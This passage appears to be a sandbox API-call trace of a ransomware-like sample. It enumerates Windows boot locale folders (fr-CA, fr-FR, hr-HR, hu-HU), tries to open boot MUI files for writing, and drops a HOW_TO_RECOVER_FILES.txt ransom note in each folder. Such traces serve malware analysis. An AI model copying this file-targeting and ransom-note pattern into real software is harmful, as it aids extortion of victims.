ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0070.436] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0070.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.436] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-CA\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.436] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x32c6308 | out: lpFileInformation=0x32c6308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560)) returned 1 [0070.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.436] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-CA\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.436] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-ca\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.438] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-CA\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-CA\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.439] CreateFileW (lpFileName="C:\\Boot\\fr-CA\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\fr-ca\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0070.439] GetFileType (hFile=0x6b0) returned 0x1 [0070.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.439] GetFileType (hFile=0x6b0) returned 0x1 [0070.440] WriteFile (in: hFile=0x6b0, lpBuffer=0x32c8d08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x32c8d08*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.440] CloseHandle (hObject=0x6b0) returned 1 [0070.441] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.441] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR", lpFilePart=0x0) returned 0xd [0070.441] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.441] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.441] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.441] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.442] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.442] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.442] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.442] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.442] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR", lpFilePart=0x0) returned 0xd [0070.442] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0070.442] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.442] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.443] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.443] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0070.443] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0070.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.443] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.443] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x32d7960 | out: lpFileInformation=0x32d7960*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13558)) returned 1 [0070.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.443] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.443] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.446] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.446] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.446] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x32d8010 | out: lpFileInformation=0x32d8010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ade2b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0)) returned 1 [0070.447] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.447] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.447] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.447] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\memtest.exe.mui" (normalized: "c:\\boot\\fr-fr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.449] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.449] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.449] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\fr-fr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0070.451] GetFileType (hFile=0x6b0) returned 0x1 [0070.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.451] GetFileType (hFile=0x6b0) returned 0x1 [0070.452] WriteFile (in: hFile=0x6b0, lpBuffer=0x32daa10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x32daa10*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.453] CloseHandle (hObject=0x6b0) returned 1 [0070.453] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.453] GetFullPathNameW (in: lpFileName="C:\\Boot\\hr-HR", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hr-HR", lpFilePart=0x0) returned 0xd [0070.453] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0070.454] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.454] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.454] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.454] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0070.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.454] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.454] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.454] GetFullPathNameW (in: lpFileName="C:\\Boot\\hr-HR", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hr-HR", lpFilePart=0x0) returned 0xd [0070.454] FindFirstFileW (in: lpFileName="C:\\Boot\\hr-HR\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.454] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.455] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.455] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0070.455] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.455] GetFullPathNameW (in: lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hr-HR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.455] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x32e9380 | out: lpFileInformation=0x32e9380*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60)) returned 1 [0070.455] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.455] GetFullPathNameW (in: lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hr-HR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.455] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.455] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\bootmgr.exe.mui" (normalized: "c:\\boot\\hr-hr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.457] GetFullPathNameW (in: lpFileName="C:\\Boot\\hr-HR\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hr-HR\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.458] CreateFileW (lpFileName="C:\\Boot\\hr-HR\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\hr-hr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6b0 [0070.458] GetFileType (hFile=0x6b0) returned 0x1 [0070.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.458] GetFileType (hFile=0x6b0) returned 0x1 [0070.459] WriteFile (in: hFile=0x6b0, lpBuffer=0x32ebd80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x32ebd80*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.460] CloseHandle (hObject=0x6b0) returned 1 [0070.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.513] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU", lpFilePart=0x0) returned 0xd [0070.513] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.514] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.514] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13360, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.514] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.514] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, 